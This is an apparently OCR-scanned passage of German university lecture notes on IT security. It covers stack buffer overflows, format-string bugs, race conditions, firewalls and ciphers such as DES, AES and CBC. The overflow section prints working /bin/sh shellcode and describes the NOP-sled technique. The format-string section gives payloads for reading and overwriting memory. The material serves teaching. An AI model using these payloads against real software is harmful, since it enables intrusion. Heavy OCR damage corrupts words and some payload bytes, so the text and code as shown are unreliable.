Ein Funktionsaufruf der Forrfunction(1, 2, 3) wird vom gcc in folgenden As-
semblercodébersetzt:

pushl $3 ; 3 auf den Stack kopieren
pushl $2 ; 2 auf den Stack kopieren
pushl $1 ; 1 auf den Stack kopieren
call function ; Prozeduraufruf (IP auf den Stack sichern)

Die Prozedufunction  startet mit folgendem Prolog:
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function:

pushl %ebp ; framepointer auf dem Stack sichern
movl %esp,%ebp ; neuen framepointer laden
subl $88,%esp ; 40 Bytes auf dem Stack allokieren

Der Compiler allokiert offensichtlich mehr Platz (88 Bytes) als minimal notwendig (65 By-
tes) um eine bessere Ausrichtung ggérade” Speicheradressen (alignment) zu erreichen.
Offensichtlich kann die Rcksprungadresse durch einen Puifterlauf veandert werden.

static void
function(int a, int b, int ¢)
{
char bufferl[25];
char buffer2[40];
int  *ret;

ret = (int *) (bufferl + 32);

(*ret) += 10;
}
int
main(int argc, char **argv)
{ .
int x;
X = 0;
function(1, 2, 3);
x = 1;
return X;
}

In der Funktionfunction() zeigtret auf die Ricksprungadresse, die 32 Bytes ober-
halb vombufferl im Stack liegt. Die Anweisung*ret) += 10 inkrementiert die
Rucksprungadresse, so dal3 die Maschinenbefahtbd Anweisung = 1 Uibersprungen
werden undnain() den Ergebniswert O liefert anstatt 1. Die Bytezahlen lassen sind rela-
tiv einfach zu ermitteln indem man das Progrébersetzt und mit Hilfe eines Debuggers
disassembliett

4.2.2 Austihrung von beliebigen Kommandos

Um beliebige Maschinenbefehle ailsfen zu knnen, &3t man die Bcksprungadresse
auf den Puffer zeigen den méberlaufen&i3t. Offensichtlich ist edif einen Angreifer at-
traktiv, beliebige Systemkommandos ausfen zu knnen. Gesucht ist also ein String, der

!Beim Ubersetzen sind Optimierungen auszuschalten, da sonst ein guter Compiler die Zuwersung
0 eliminieren wird.
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Maschinencode endit, um einen Kommandointerpreter zu starten.

leistet das gevwnschte:

static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\Xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Der String ist die biare Version des folgenden Assemblercodes:

jmp Ox1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal  Oxc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes

Der folgende String

¢ Im Angriffstring dirfen nur relative Adressen vorkommen da die exakte Position des
Strings im Stack-Speicher generell nicht bekannt ist.

¢ Im Angriffstring darf kein 0x00 Byte vorkommen.
e Die Gesamtinge des Angriffstrings ist 46 Bytes.

e Der Assemblercode springt zawhst relativ jfnp 0x1f ) zumcall -Befehl. Der
call springt zuiick zum Anfang (nach decall -Befehl) und versucht eiexec-
ve() Systemaufruf aufbin/sh  gefolgt von einenexit()  Systemaufruf falls
derexecve() Systemaufruf nicht funktioniert.

e Der Start des Zeichenkettéin/sh" wird durch dencall auf dem Stack als

nachster Befehl abgelegt.

¢ Die Systemaufrufe erfolgen durch dem $0x80 , wobei die Parameter mit Hilfe

von Registeribergeben werden.
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Die genaue Position des Angriffstrings im Speicher ist generell nicht bekannt. ddan |
dieses Problem indem man vor den eigentlichen Angriffstring mehrepeBefehle un-
terbringt und versucht eine passende Adressaaop-Bereich zu raten (Basisadresse des
Stacks minus geratenem offset). Hinter den Angriffstring kopiert man wiederholt die gera-
tene Einsprungadresse, da man die genaue Position des instruction pointers auf dem Stack
in der Regel auch nicht kennt.

bottom of stack

offgetI Stackbereich c (4 Byte)
(stack region) b (4 Byte) .
i a (4 Byte) jump address L
instruction pointer (4 Byte)
frame pointer (4 Byte) (bottom of stack

+ offset)
bufferl (40 Bytes)

/ bi n/sh

T buffer2 (48 Bytes)
Datenbereich shellcode

(data region)

Programmtext

(text region) nop

0x00000000

Abbildung 4.2: Angriffstring im Intel ix86 Stacklayout

4.3 Probleme durch variable Formatangabe

Die Standardbibliothek der Sprache C definiert eine Sammlung von Funktipretf ( ,

fprintf  ,sprintf  ,snprintf  ,...), mitdenen primitive C Datentypen in eiarfMen-

schen leicht lesbares Format umgewandelt werdemé&n. Diese Funktionen haben eine
variable Anzahl von Argumenten, wobei ein spezielles Argument, die sogenannte Format-
angabe, Informationen daver enthlt, wie dietibrigen Argumente zu interpretieren sind.

printf("The answer is: \%d\n", 42);

Die wichtigsten Formatangaben sind in Abbilduhd zusammengefaldt. Sicherheitspro-
bleme entstehen durch die fehlerhafte Verwendung dieser Funktionen. Besonders gravie-
rend sind Rlle, bei denen Benutzereingaben die Formatangaben manipuli@maerk

static void
function(const char *input)

{
}

printf(input);
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Im Vergleich zu Puffeiiberbufen lassen sich jedoch solche Programmierfehler mit Werk-
zeugen entdecken.

Format Beschreibung Ubergabe
%d  vorzeichenbehaftete Dezimalzahl (int) Wert
%u  vorzeichenlose Dezimalzahl (unsigned int) Wert
%x  vorzeichenlose Hexadezimalzahl (unsigned int) Wert
%p  Adresse eines Zeigers als Hexadezimalzahl (void *) Wert
%s Zeichenkette (const char *) Referenz
%n  Anzahl der bisher geschriebenen Bytes (int *) Referenz

Tabelle 4.1:

4.3.1 Angriffsmoglichkeiten

Die simpleste Form ist ein Angriff, bei dem Formatangaben benutzt werden, die ein Pro-
gramm relativ sicher zum Absturz bringen, wie z.B.:

"0%65%5%S%5%S%S%S%S%S%S5%5%5%5%5%5%5%S5%S%S%Ss %S %S

Wenn es miglich ist, die Ausgaben der Formatfunktion zu lesen, dann kann kann man mit
Hilfe der Kontrolle von Formatangaberiitzliche Informationen sammeln. Eine Format-
angabe der Form

"%%08X.%08x.%08x.%08X.%08X"

bewirkt, daf3 die achsteniinf Parameter (jeweils 32 Bit) auf dem Stack angezeigt werden.
Abhangig von der Gil3e des Pufferdif die Formatangabe und den Ausgabepuffer kann
mit dieser Trick der gesamte Stack ausgelesen werden.

Unter der Annahme, dal3 die Formatangabe selbst auf dem Stack liegt, kann man Forma-
tangaben konstruieren, die beliebigen Speicher auslagamek. Man findet die Position

der Formatangabe einfach, indem man solange Parameter vom Stack liest, bis die Format-
angabe selbst gefunden wurde.

"AAAOAAAL_%08x.%08x.%08x.%08x.%08x"

Indem man in der Formatangabe eine Startadresse unterbringt, kann man mit Hilfe der
%sAngabe beliebigen Speicher auslesen und ggf. damit sogar das laufende Programm
rekonstruieren. Die folgende Formatangabe liest die Speiche@x€18180110 :

"\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|"
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In manchen BEllen kann man auch nach dem im vorigen Abschnitt beschriebenen Verfah-
ren eine Shell bekommen. Ein Beispiel aus verschiedenen realen Prograampoen (
bftpd ):

{
char outbuf[512];
char buffer[512];
sprintf(buffer, "ERR Wrong command: %400s", user);
sprintf(outbuf, buffer);
}

Eine Formatangabe der folgenden Form erzeugt einen klassischeniPaffauf, wobei
die %497d Angabe passend auf den instruction pointer (IP) verweist:

"%497d\x3c\xd3\xff\xbf<nops><shellcode>"

Mit Hilfe der %onAngaben lassen sich auch beliebige Speicherstellen schreiben. Das fol-
gende Beispiel véndert die Speicherstel(xbfffd33c

"\x3c\xd3\xffixbf %608x.%08x.%008x.%08X.%08x.%n"

4.4 Race-Konditionen

In setuid -Programmen &nnen Race-Konditionen vorhanden sein:

if (access(filename, W_OK) == 0) {
if ((fd = open(filename, O_WRONLY)) == NULL) {
perror(filename);
return O;

}

/* write data to file */

Im Beispiel versucht eisetuid -Programm eine Datei nur dann zu schreiben, wenn der
wirkliche Benutzer schreibenden Zugriff auf eine Datei besitzt. Da aber zwischen dem Test
mitaccess() und demOffnen der Datei mibpen() eine gewisse Zeit vergeht, besteht

die Moglichkeit, die Datefilename  (evtl. ein symbolischer Link) zwischenzeitlich aus-
zutauschen.
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Literaturhinweise

Die Konstruktion von Angriffstringsir Puffeiberfufe im Stack ist aughrlich in [47]
beschrieben. Eine genaue Beschreibung der Probleme durch variable Formatangaben ist in
[53] zu finden. Ein Programm zur Suche von Race-Konditioneseinid -Programmen

ist in [5] beschrieben worden.
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Kapitel 5

Sicherheitsprobleme in
Internetprotokollen

5.1 Angriffe auf Netzwerk- und Transportprotokolle

5.2 Angriffe auf Anwendungsprotokolle
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Kapitel 6

Firewalls

6.1 Grundlegende Begriffe

Eine Firewall ist ein System (oder eine Menge von Systemen), das die Einhaltung von
Zugriffsrichtlinien (access control policies) zwischen zwei (oder mehreren) Netzwerken
erzwingt.

Beispiel 11 Eine typische Zugriffsrichtlinie versucht Zugriffe auf inherent unsichere Dien-
ste bzw. Protokolle, die zur Authentifizierung Klartextpasswigioertragen, zu verhindern
(bootp , dhcp, syslog , nfs , netbios ,telnet , pop3). AuRerdem wird man in der
Regel Host- und Port-Scans versuchen zu unteikn. Andererseits wird man Zugriffe
auf extern angebotene Dienste (z.B. WWW-Server, FTP-Server, Mail-Server) eplizit f
die Server-Adressen zulassen.

Klassifikation von Zugriffsrichtlinien:

e Konservative Zugriffsrichtlinierassen nur den notwendigen Verkehr zu und sperren
den Rest.

e Optimistische Zugriffsrichtliniesperren nur die bekannten Schwachstellen und las-
sen den Rest zu.

Generelle Anforderungen an eine Firewall:

e Auf den eingesetzten Komponenten darf nur Software vor handen seinjrdiesf
Funktionsahigkeit der Firewall dtig ist (Minimalsystem). Die benut zte Software
(inkl. aller Konfigurationsdateien!) muf3 aiasirlich dokumentiert und begndet
werden.

e Mindestens einmalaglich sollten Integritstest der eingesetzten Programme und
Konfigurationsdteien durchgdfrt werden (z.B. mittels kryptographischeiiBum-
men).
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e Es mul3 ndglich sein, die Firewall (bzw. die Filter) so zu konfigurieren, daf3 nach
einem Systemabsturz jegliche Nutzung der Firewall auRer durch den Administrator
unterbunden wird.

6.2 Pakeffilter

Paketfilterinspizieren einzelne Datagramme bevor sie weitergeleitet werden und kontrol-
lieren so den Datenfluf3 zu und aus einem Netzwerk.

¢ Die Filterregeln testen Eigenschaften der Datagramme wie z.B. Quell- und Ziel-
adresse, Transportprotokoll, Portnummern und Kontrollflags.

o Paketfilter arbeiten typischerweise mit Informationen aus der Netzwerkschicht und
der Transportschicht.

e Neuere Paketfilterdnnen in der Regel auch Informationen adgéren Protokoll-
schichten auswerten und untértgen zustandsbehaftete Regeln.

e Dynamische Paketfiltenerken sichiir eine gewisse Zeitspanne die Quell- und Ziel-
adressen sowie die Quell- und Zielports eines Datagrammes, das aus deriitzaisch
den Netz in da$ffentliche Internet geschickt wird, und erzeugen eine zeitlich be-
grenzt giltige dynamische Erlaubnisregéirfpotentielle Antworten.

o Filterregeln sollteniir jede Netzschnittstelle getrennt einstellbar sein.

e Typischerweise werden Regeln beim Empfang von Datagrammen (INPUT), beim
Weiterleiten (FORWARD) und beim Aussenden (OUTPUibgrpiift.

e Jeder Regel ist eine Aktion zugeordnet, wie z.B. das Verwerfen (DENY), das Ver-
werfen mit einer Fehlermeldung (REJECT) und das Durchlassen (ACCEPT).

6.3 Transport Gateways

Kommunikation wird auf der Transportschicht durch ein spezielles Gateway abgewickelt.
Erfordert in der RegeAnderungen auf der Seite des Dienstnutzers.

¢ Realisierung applikationsunabgiger Proxies.

o Erweiterte Protokollierungsaglichkeiten (Dauer der Verbindungen)
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6.4 Application Gateways

Application Gateways verstehen Anwendungsprotokolle utiankn daher dienstspezi-
fisch Daten filtern.

e Filterregeln sindiir die einzelnen Dienstprimitive aglich.
e Filterung auf Basis der Inhalte istayglich (content filtering).
e Zugriffskontrolle kann benutzerspezifisch durchget werden.

e Fragmentierte Datagramme werden korrekt behandelt.

6.5 Basisarchitekturen

¢ Die einfachste Basisarchitektur ist eine Firewall, die lediglich aus einem Paketfilter
besteht. Meistens ist der Paketfilter direkt im Router untergebracht, der das interne
Netz mit dem externen Netz verbindet (screening router).

Externes Netz ——M—— Internes Netz
(Internet) (Intranet)

Paketfilter

Abbildung 6.1: Firewall mit einfachem Paketfilter

e Die zweite Basisarchitektur ist eine Firewall, die lediglich aus einem Rechner be-
steht, der keine Datagramme weiterleitet undidahtsprechende Gateways bereit-
stellt (Bastion Host).

Internes Netz
(Intranet)

Externes Netz
(Internet)

Bastion Host

Abbildung 6.2: Firewall mit Bastion Host (keine Weiterleitung)

e Die komplexeste Basisarchitektur ist eine Firewall, die aus zwei Paketfiltern und
mehreren Servern in einer entmilitarisierter Zone besteht.
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WWW-Server

Bastion Host

Internes Netz
Externes Netz (Intranet)
(Internet)

Paketfilter

Paketffilter

Entmilitarisierte Zone (DMZ)

Abbildung 6.3: Firewall mit entmilitarisierter Zone

6.6 Risiken und Grenzen

¢ Filterregeln auf der Basis von Domainnamen sind unsicher - zumindest solange keine
sichere Version des DNS Protokolls verwendet wird.

e Komplexe Firewallkonfigurationen enthalten Fehler.
e Eine beachtliche Gefahr lauert innen im Intranet.
e Alternative Zugnge (z.Bilber Modems) &nnen die beste Firewall nutzlos machen.

e Durch strikte Firewalls entstehen oftmals Tunnel, die eigentlich gefilterte Protokolle
Uber erlaubte Protokolle implementieren und damit die Firewall umgehen.

¢ Protokolle mit starker Verscigselung kann ein Firewall nicht inspizieren und damit
auch nicht mehr sinnvoll filtern.

e Kann man sich auf die gekaufte Firewall-Software wirklich verlassen?

Literaturhinweise

Die Standardwerke zum Thema Firewalls sifd][und [63].
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Kapitel 7

Kryptographische Verfahren

7.1 Grundlegende Begriffe

e Kryptographie (cryptographyist die Wissenschaft vom geheimen Schreiben.
e Kryptoanalyse (cryptanalysisist die Wissenschaft des Brechens von Chiffren.
e Kryptologieumfal3t die Kryptographie und die Kryptoanalyse.

e Chiffre (chipher)ist eine Methode des Versdélsselns.

o Klartext (cleartext)st unverschlsselter Text.

e Chiffretext (ciphertextjst verschilisselter Text.

e Chiffrieren (encryption)st der Vorgang des Versdigselns.

e Dechiffrieren (decryptionist der Vorgang des Ensdldselns.

e Schlissel (key)st eine Information, die den Algorithmus zum Chiffrieren oder De-
chiffrieren parametrisiert.

chiffrieren

| |

dechiffrieren

Abbildung 7.1: Prinzipieller Ablauf eines geheimen Informationsaustauschs
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¢ Blockchiffren (block cipherdeilen den Klartext vor der Versdidselung in Bbcke
(meist fester nge) auf.

e Symmetrische Chiffren (symmetric ciphbgnutzen einen gemeinsamen $siskl
zum Ver- und Entsclilsseln.

e Asymmetrische Chiffren (asymmetric ciphbBnutzen unterschiedliche Saksel
zum Ver- und Entsclilsseln.

7.1.1 Kryptosysteme

Ein kryptographisches Systetkurz Kryptosystemist ein 5-Tupel (/, C, K, Ei, Dy)

bestehend aus einem Klartextrali) einem Chiffretextraund’, einem Schisselraunts,

einer Familie von Chiffriertransformationdti, : M — C mit k¥ € K und einer Familie
von Dechiffriertransformatione®,, : C' — M mit k € K. Flir ein gegebenes und alle
m € M qilt:

Anforderungen an ein Kryptosystem:

1. Chiffrier- und Dechiffriertransformationen imsen fir alle Schiissel effizient be-
rechnet werdendnnen.

2. Die Systeme rassen leicht zu benutzen sein, d.h. es mul3 leicht sein, eineiisSehl
k € K sowie die Abbildunger, und D, zu finden.

3. Die Sicherheit des Systems sollte auf der Geheimhaltung deti&shlund nicht
auf der Geheimhaltung der Algorithmen beruhen. Das bedeutet, daf3 aufgrund der
Kenntnis der Methode des Chiffrierens und Dechiffrierens noch nicht der Klartext
Zu gewinnen ist.

4. Es sollte einem Kryptoanalytiker berechnun@®ig praktisch uniiglich sein, aus
einem abgefangenem Chiffretexe C

(a) systematischD, zu bestimmen, selbst dann, wenn der Klartextc M mit
Ex(m) = ¢ bekanntist, und

(b) den Klartextn € M mit E(m) = ¢ zu bestimmen.
5. Es sollte einem Kryptoanalytiker berechnung®igy praktisch uniglich sein,

(a) systematisclE), ausc € C' zu bestimmen, selbst dann, wenn der Klartext
M mit E(m) = ¢ bekannt ist, und

(b) einen Chiffretext¢’ € C mit ¢ # ¢ zu finden, so dalD,(¢') ein diltiger
Klartext aus)M ist.
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7.1.2 Substitutionschiffren

Substitutionschiffren beruhen auf der Ersetzung von Buchstaben oder Worten eines Einga-
bealphabets durch Buchstaben oder Worte des Ausgabealphabets.

Einfache Beispiele sind Verschiebechiffren. ek {ag, a1, ..., a,_1} ein Alphabet und
f(a) = (a + k) mod n. Dabei ista sowohl Buchstabe als auch PositionAn & gibt die
Grofe der Verschiebung aniFk = 3 ergibt sich die @sar-Chiffre. Er £ = 13 ergibt
sich bei Verwendung des Alphabets= {a, b, ..., z} dierotl3 Verschlisselung.

Beispiel 12 Aus dem Klartex} Substitutionschiffre® wird durch die Verschiebechiffre mit
k = 13 der Chiffretext, Fhofgvghgvbafpuvsser.

Formale Definition von Substitutionschiffren:

e Einfache Substitutionschiffre
Es seiend und C' Alphabete gleicher Mchtigkeit (Klartext- und Chiffretextalpha-
bet). Eine Chiffre mit einfacher Substitution wird durch eine bijektive Abbildung
f: A — C gegeben. Dabei igt der Schlissel der Chiffre. (Die Chiffrierung erfolgt
durch den durchf bestimmten Homomorphismus, den wir mit demselben Syryibol
alsf : A* — C* schreiben.)

Einfache Subsitutionschiffren sind bei bekanntéuFigkeitsverteilung der Zeichen
im Klartext einfach zu brechen. Kompressionsverfahi@mien vor der Verschikselung
angewendet werden, um diéibifigkeitsverteilung des Klartextes zu &adern.

e Homophone Substitutionschiffre
Es seinerd und C' Alphabete. Eine Chiffre mit homophoner Substitution ist durch
die Abbildungf : A — 2¢ gegeben,iir die fur allea,, a; € A, a; # ay, f(a1) # 0
sowie die Beziehung(a,) N f(ay) = 0 gilt.

Homophone Substitutionschiffren bilden Klartextzeichen auf potentiell mehrere Zei-
chen im Chiffretext ab, wodurch ein Angriff aufgrund degaddigkeitsverteilung
schwieriger wird.

e Periodische Substitutionschiffre
Es seiA ein Klartextalphabet und’, .. ., C; seien Chiffretextalphabete. Eine Chif-
fre mit periodischer Substitution ist durch bijektive Abbildungén: A — C,
1 <1 < d, gegeben. Ein Klartext der Form

m=mq...mgMmq41-.-Maqg - ..
wird chiffriert durch:

Ei(m) = fi(m1) ... falma) fi(mag1) - .. fa(maa) . ..

Durch die periodische Verwendung von mehreren Alphabeten und verschiedener
Substitutionen kann die &figkeit von Zeichen im Klartext verborgen werden. Be-
kannte klassische Verfahren sind die Viges Chiffre und die Baufort-Chiffre3].
Problematisch sind die langen Siasselangen.
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¢ Polyalphabetische Substitutionschiffren
Die Zeichen eines Klartextes werden in einer beliebigen festgelegten Reihenfolge
durch verschiedene Abbildungen chiffriert. Periodische Substitutionschiffren sind
Beispiele fir polyalphabetische Substitutionschiffren.

e Polygramm Substitutionschiffren
Ganze Bbcke von Zeichen des Klartextes werden gemeinsam ersetzt.

7.1.3 Transpositions- und Permutationschiffren

Transpositionschiffren ordnen die Klartextzeichen nach einem festgelegten Schema oder
einer geometrischen Figur um.

Beispiel 13 Der Klartext, TRANSPOSITION* werde in eirex 5 Matrix eingetragen:

T R A N S
P O S I T
I O N

Die Spalten in der Ordnung 2-4-3-5-1 ergeben den Chiffret®@ONI ASNST TPI“.

Sei D ein Alphabet, das als Klartext und Chiffretextalphabet verwendet wird. Eine Trans-
positionschiffre mit fester Permutation wird durch die Permutatfon D — D mit
D = {1,...,d} definiert. Der Schissel ist durch ein Padr = (d, f) gegeben. Ein
Klartext der Form

m=mq...MmgMmq41...-Maqg - ..

wird chiffriert durch:

Ek(m) = mf(l) ce mf(d)md+f(1) .. .md+f(d) Ce

Die Dechiffrierung erfolgt durch die inverse Permutation.

Beispiel 14 Der Klartext,, PERMUTATION* werde durch die Permutatighmit f(1) =
2,f(2) = 4,f3) = 1,f(4) = 3 mit der Perioded = 4 permutiert. Man schreibt den
Klartext in eine3 x 4 Matrix, vertauscht die Spalten géfd der Permutation und liest die
Matrix zeilenweise aus.
P M M
U T T
I

QN iy
=

R P
= | A U
N T

SRS

Es ergibt sich der ChiffretextRPMEAUTTNI O".
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7.1.4 Kryptoanalyse

Die Kryptoanalyse besélitigt sich mit Verfahren, mit denen Chiffretexte entdddelt
bzw. ganze Versclisselungsverfahren gebrochen werdénren. Typische Verfahren der
Kryptoanalyse:

e Brute-Force-Angriff
Es wird eine ersabpfende Suchéber den gesamten Sdkskelraum durchgéhrt.
Dieses Verfahren bénigt sehr schnelle Rechner, kann aber im allgemeinen sehr
gut parallelisiert werden. Die Sdidselingen nissen daher grof3 genug gavit
werden, damit eine ersopfende Suche auch mit spezieller Hardware nicht mehr
praktikabel ist.

¢ Analyse von Hufigkeitsverteilungen
Kenntnistiber die Verteilung von Hufigkeiten von Zeichen oder Zeichenfolgen in
den Klartextnachrichten kann ausgenutzt werden, um einfache Verfahren zu knacken.

e Avalanche Effekt
Bei dem Avalanche Effekt wird versucht, durch das gezieltévdern von einzel-
nen Bits der verschikselten Nachricht und dem anschlieRenden Versuch der Ent-
schiisselung mit einem falschen Sitksel Rickschiisse auf den richtigen Sdldsel
zu ziehen.

e Geburtstagsangriff
Bei Einweg-Hashfunktionen verschafft sich ein Angreifer Vorteile, wenn es gelingt,
zwei Klartextern undm’ zu finden, die denselben Hashwert habiéfy) = H(m/).
Interessanterweise ist es wesentlich einfacher zwei derartige Klartewtel m’ zu
bestimmen als zu einem bestimmten Hashwezine Nachricht: mit » = H(n) zu
finden.

Der Name kommt von dem Geburtstags-Paradoxon: Die Wahrscheinlichkeit, dai3
zwei beliebige Personen aus einer Gruppe von 23 Personen am selben Tag Geburts-
tag haben, liegiiber 50 %. Andererseits bétigt man 183 Personen um eine Wahr-
scheinlichkeit von 50 % zu erreichen, dal3 eine Person aus der Gruppe den eigenen
Geburtstag teilt.

7.2 Symmetrische Chiffren

Symmetrische Chiffren benutzen zum Ver- und EntisstéIn denselben Scisisel und sind
im allgemeinen sehr effizient. Allerdings mul3 der $slskl entsprechend gestit wer-
den, was insbesondere die Sdgelverteilung problematisch macht.
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7.2.1 Data Encryption Standard (DES)

Der Data Encryption Standard (DES)]] 42, 43] ist derzeit eines der popauisten Chif-
frierverfahren. Das Verfahren besteht aus einer Komposition von Substitutions- und Trans-
positionschiffren und wurde urgjinglich bis 1971 von IBM unter dem Codenamen Lucifer
entwickelt. Lucifer benutzte Sdimsel mit einer Ange von 128 Bits. Der DES hingegen,

der 1977 als Standard akzeptiert wurde, benutzt lediglichiSskl mit einer Ange von

56 Bits, was heutzutage allgemein als nicht ausreichend angesehen wird, um sich gegen
Brute-Force-Angriffe zu sditzen.

64 Bit Klartext m

'

56 Bit Schliissel k

47

[Initiale Permutation} [ Permutation }
Ky
Runde 1 Permutation Links Verschiebung
ko
Runde 2 Permutation Links Verschiebung
| | |
1 1 v
K16 , . .
Runde 16 Permutation Links Verschiebung

a

Finale Permutation

'

64 Bit Chiffretext ¢

—

Abbildung 7.2: Prinzipieller Ablauf des DES-Algorithmus
Grundprinzip des DES:

e Der DES versclilsselt Bbcke einer festen ange von 64 Bit. Die Schkselange
betragt 56 Bit.

e Der Algorithmus besteht im Kern aus 16 Verdiddelungsrunden sowie einer initia-
len und finalen Permutation. In den einzelnen Runden werden jeweils Permutationen
des 56 Bit Schissels verwendet.

¢ In den einzelnen Runden werden im Kern Permutationen und Substitutionen auf je-
weils 32 Bit der Nachricht angewendet und exklusiv-oder vépin

e Die Operationen in den einzelnen Runden werden durch abgeleitete Tasisehl
(K1, ko, . .., k1) parametrisiert.

35



e Zum Ver- und Entscliisseln wird der gleiche Algorithmus angewendet.

e Hardware-Implementationen leisten eine Chiffrierungsrate von einigen Millionen
Bits pro Sekunde.

e Problematisch ist die Sdidselange von 56 Bit. Es ist zur Zeit durch die Konstruk-
tion von Spezialrechnern @glich, den gesamten Scisselraum in ca. zwei Tagen
zu durchsuchen.

7.2.2 Triple DES

Um der geringen Schikselinge zu begegnen, kann man DES mehrfach mit unterschied-
lichen Schiisseln anwenden. Weit verbreitet hat sich die dreifache Anwendung von DES
(Triple DES):

Verschlisselung

DES DES? H DES }

A A
Klartext ky ko kq Chiffretext
¥ ¥

-1 -1 L
DES DES HDES Ia

Entschlisselung

Abbildung 7.3: Prinzip des dreifachen DES (Triple DES)

e Dreifache Anwendung des DES mit zwei Sa$seln liefert eine Schsselange von
112 Bits.

e Fallsk; = ks ist, so verllt sich Triple-DES wie ein normales DES (allerdings nur
mit einer effektiven Sclilsselinge von 56 Bit).

e Die doppelte Anwendung von DES liefert nur eine geringe Verbesserung (meet-in-
the-middle Angriff, siehejg]).

7.2.3 International Data Encryption Algorithm (IDEA)

e Der IDEA verschilisselt Bbcke einer festendnge von 64 Bit. Die Schikselange
betragt 128 Bit.

e Der Algorithmus besteht aus 8 Runden, die mit jeweils 6 verschiedenen 16 Bit Teil-
schlisseln ausgéhrt werden, sowie einer abschlieenden Transformation, in die 4
weitere 16 Bit Teilschissel eingehen.
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e IDEA beruht auf Operationen (Exklusiv-Oder, Addition, Multiplikation) aus ver-
schiedenen algebraischen Gruppen der Ordrifigzwischen denen keine Distri-
butiv- oder Assoziativgesetze gelten.

e Zum Ver- und Entscliisseln wird der gleiche Algorithmus angewendet.

e Hardware-Implementationen leisten eine Chiffrierungsrate von einigen hundert Mil-
lionen Bits pro Sekunde.

e Software-Implementationen sind in der Geschwindigkeit vergleichbar mit DES Soft-
ware-Implementationen.

64 Bit Klartext m 128 Bit Schlussel k

<3 1
[ mmer B
< 6

T

! ! !
C
| B B |

<2 43
.
<3 48
. 49
Transformation 52

64 Bit Chiffretext c

10JeI3URD-[3SSN|YDS|Id L ig 9T

Abbildung 7.4: Prinzipieller Ablauf des IDEA-Algorithmus

7.2.4 Advanced Encryption Standard (AES)

Der Advanced Encryption Standard (AES) ist der offizielle Nachfolger des DES. Das Ver-
fahren beruht auf dem Rijndael-Algorithmuk?], der in einem offenen Verfahren aus ur-
sprunglich 15 Vorschhgen ausgesucht wurde.
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e Der AES versclilsselt Bbcke mit einer festendnge von 128 Bits (16 Bytes).

e Die Schlisselangen betragen wahlweise 128 (AES-128), 192 (AES-192) oder 256
(AES-256) Bits.

e AES ordnet einen Block als ein zweidimensionales Byte-Array an, das sogenannte
State:
So0 So1 So2  So03
S10 S11 S12 S13
S20 S21 S22 S23
§30 531 532 533

e Die Eingabe wird in der Reihenfolggg, s10, $20, S30, S31 - . . iIN das Byte-Array ein-
getragen. Die Anzahl der Spalten im State Byte-Array wird Witbezeichnet und
ist beim AES immerV, = 4.

e Der Schiissel wird ebenfalls in der Foldgo, k10, k20, k30, k31 - . . in ein Byte-Array
eingetragen.
kOO kOl k02 k03
klO kll k12 k13
k20 k21 k22 k23
k30 k31 k'32 k33

e Die Anzahl der Spalten im Sddsel Byte-Array wird mitV, bezeichnet.

e Abhangig von der Sclilsselatnge macht der Algorithmu¥,. = 10 (128 Bit), NV, =
12 (192 Bit) oderN, = 14 (256 Bit) Runden.

e Zunachst wird der Sclilssel erweitert um aus dem erweiterten 8shél Runden-
schiissel zu entnehmen.

e Als erstes wird dann der Rundensdisgel auf den im State Byte-Array eingetragenen
Klartext angewendet.

¢ In den folgendenV, Runden wird jeweils eine Byte Substitution, eine Verschiebung
von Bytes innerhalb der Zeilen, eine Multiplikation mit einem festen Polynom und
der exklusiv oder Verkimpfung mit einem Runden-Sdldsel. In der letzten Runde
findet allerdings keine Multiplikation mit einem Polynom statt.

e Zum Entschlisseln kommt im wesentlichen derselbe Algorithmus zum Einsatz, wo-
bei die einzelnen Transformationen invertiert werden.

e Das Verfahren kannir 32-Bit Prozessoren optimiert implementiert werden.

7.3 Betriebsarten von Blockchiffren

Blockchiffren wie DES und IDEA verschkseln immer einen Block festeihge. Man
kann solche Blockchiffren in verschiedenen Arten benutzeaufig benutzt werden der
Electronic Code Book (ECB) Modus und der Cipher Block Chaining (CBC) Modus.
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7.3.1 Electronic Code Book (ECB)

Beim ECB Modus wird der Klartext: in Blocke fester Bnge eingeteilt, wobei die Block-
lange dem verwendeten Versiggselungsalgorithmus entsprechen muf3 (64 Bit bei DES
oder IDEA). Der letzte Block wird gegebenenfalls durch ein Bitmuster aufijefDer
Klartextm besitzt also die Forrm = myms ... m,,. Der Chiffretextc ergibt sich durch die
unablangige Versclilsselung der einzelnen@ike und hat somit die Form= c;c, . .. ¢,.

Fur die Verschilisselung und die Entscéidselung gilt also:

¢ =Ex(m;) furl<i<n

m; = Di(c;))  furl <i<n
Offensichtlich gilt Dy (Ex(m;)) = m,.

ml m2 m

el & G
¢ © Cn
D K D K * o e D K

I'T]1 m2 m

Abbildung 7.5: Prinzip der Electronic Code Book (ECB) Betriebsart

Eigenschaften des ECB Modus:

Einfaches leicht parallelisierbares Verfahren.

Fur identische Bbcke entstehen identische Chiffretexte.

Die Reihenfolge der Bicke kann vertauscht werden, ohne dal? der Engr dies
feststellen kann.

Ganze Bbcke knnen entfernt werden, ohne dal3 dies vom Emgér bemerkt wer-
den kann.

7.3.2 Cipher Block Chaining (CBC)

Beim CBC Modus wird der Klartext: wie beim ECB Modus in Bicke fester Enge ein-
geteilt. m hat also wiederum die Form = mms; ... m,. Beim CBC Modus wird aller-
dings jeder Klartextblock vor der Verséhdselung mit dem zuvor berechneten Chiffretext
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Exklusiv-Oder verkipft. Beim ersten Klartextblock verwendet man einen entsprechen-
den zuéllig gewahlten Initialisierungsvektor (1V), der allerdings mit dem Sddeltext
Ubertragen werden muf3uiFdie Verschilisselung und die Entsdldselung gilt also:

C; =

Ek(ml D Ci—l) firl<i<n

Dulc) @ IV furi =1
m; =
Dk<CZ) Dci_1 furl < <n
